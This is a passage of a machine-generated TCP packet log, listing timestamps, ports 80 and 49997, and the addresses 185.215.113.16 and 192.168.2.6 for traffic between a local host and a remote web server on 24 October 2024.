Oct 24, 2024 09:08:15.751386881 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.751400948 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.751424074 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.751431942 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.751466036 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.751470089 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.751502991 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.751516104 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.751538038 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.751545906 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.751574039 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.751584053 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.751619101 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.790190935 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.790334940 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.790391922 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.790395975 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.790409088 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.790433884 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.790446043 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.790479898 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.790488958 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.790529013 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.790548086 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.790570021 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.790575027 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.790606022 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.790633917 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.790642023 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.790671110 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.790677071 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.790699959 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.790714025 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.790730000 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.790747881 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.790767908 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.790782928 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.790793896 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.790817976 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.790828943 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.790853024 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.790867090 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.790889025 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.790899038 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.790925026 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.790935993 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.790960073 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.790971994 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.790996075 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.791004896 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.791032076 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.791042089 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.791069984 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.791078091 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.791101933 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.791119099 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.791137934 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.791147947 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.791173935 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.791193008 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.791208982 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.791223049 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.791244030 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.791254997 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.791287899 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.814543962 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.814671993 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.814709902 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.814745903 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.814783096 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.814800978 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.814820051 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.814857006 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.814861059 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.814882994 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.814893007 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.814918995 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.814935923 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.814954996 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.814990044 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.834733009 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.834850073 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.834882021 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.834894896 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.834909916 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.834949970 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.834964037 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.835000038 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.835005045 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.835057020 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.835057974 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.835098028 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.835103989 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.835141897 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.835154057 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.835190058 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.835191011 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.835225105 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.835235119 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.835261106 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.835273027 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.835293055 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.835309029 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.835341930 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.835387945 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.835443974 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.835445881 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.835481882 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.835500956 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.835521936 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.835534096 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.835567951 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.835599899 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.835654020 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.835654020 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.835688114 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.835705042 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.835722923 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.835750103 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.835752964 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.835788012 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.835788965 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.835808992 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.835823059 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.835848093 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.835856915 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.835880995 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.835894108 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.835911036 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.835931063 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.835964918 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.835964918 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.835987091 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.835999966 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.836014986 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.836035967 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.836050034 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.836067915 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.836083889 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.836102009 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.836114883 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.836139917 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.836150885 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.836174011 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.836184978 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.836211920 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.836219072 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.836242914 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.836260080 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.836277962 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.836280107 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.836313963 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.836328983 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.836360931 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.866949081 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.867022038 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.867046118 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.867079020 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.867094040 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.867116928 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.867129087 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.867163897 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.867175102 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.867228985 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.867235899 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.867283106 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.867283106 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.867343903 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.867348909 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.867387056 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.867404938 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.867422104 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.867434025 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.867460012 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.867466927 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.867501020 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.867510080 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.867537975 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.867551088 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.867574930 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.867583990 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.867605925 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.867635965 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.867640018 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.867670059 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.867676020 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.867691040 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.867707968 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.867723942 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.867744923 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.867753983 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.867791891 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.867791891 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.867826939 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.867839098 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.867861032 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.867892027 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.867902994 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.867902994 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.867932081 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.867939949 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.867986917 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.867989063 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.868022919 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.868048906 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.868057966 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.868068933 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.868109941 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.868112087 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.868146896 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.868160963 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.868181944 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.868187904 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.868235111 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.868235111 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.868268013 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.868283987 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.868302107 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.868330956 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.868338108 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.868357897 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.868387938 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.868390083 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.868427992 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.868454933 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.868463039 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.868484974 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.868515968 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.868519068 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.868549109 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.868582010 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.868587971 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.868601084 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.868643045 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.868649960 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.868680954 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.868696928 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.868719101 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.868726015 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.868755102 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.868772030 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.868789911 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.868803024 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.868822098 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.868834019 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.868856907 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.868879080 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.868891954 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.868911028 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.868926048 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.868933916 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.868959904 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.868973970 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.868990898 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.869002104 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.869025946 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.869039059 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.869061947 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.869076014 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.869096994 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.869110107 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.869133949 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.869143009 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.869168997 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.869187117 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.869204998 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.869221926 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.869240046 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.869259119 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.869277954 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.869287014 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.869313955 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.869324923 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.869349957 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.869365931 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.869388103 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.869395971 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.869427919 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.869441986 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.869467974 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.869479895 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.869503975 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.869518042 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.869539976 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.869558096 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.869585991 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.907375097 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.907422066 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.907476902 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.907479048 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.907505035 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.907516003 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.907529116 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.907553911 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.907566071 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.907599926 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.907628059 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.907670975 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.907675982 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.907783985 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.907785892 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.907824039 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.907840967 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.907854080 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.907874107 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.907890081 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.907896996 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.907929897 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.907937050 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.907963037 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.907989979 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.908016920 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.908023119 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.908054113 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.908068895 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.908106089 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.908139944 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.908142090 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.908162117 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.908183098 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.908193111 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.908220053 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.908235073 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.908257008 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.908267975 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.908291101 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.908302069 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.908327103 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.908335924 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.908360004 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.908370972 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.908399105 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.908406973 CEST	49997	80	192.168.2.6	185.215.113.16
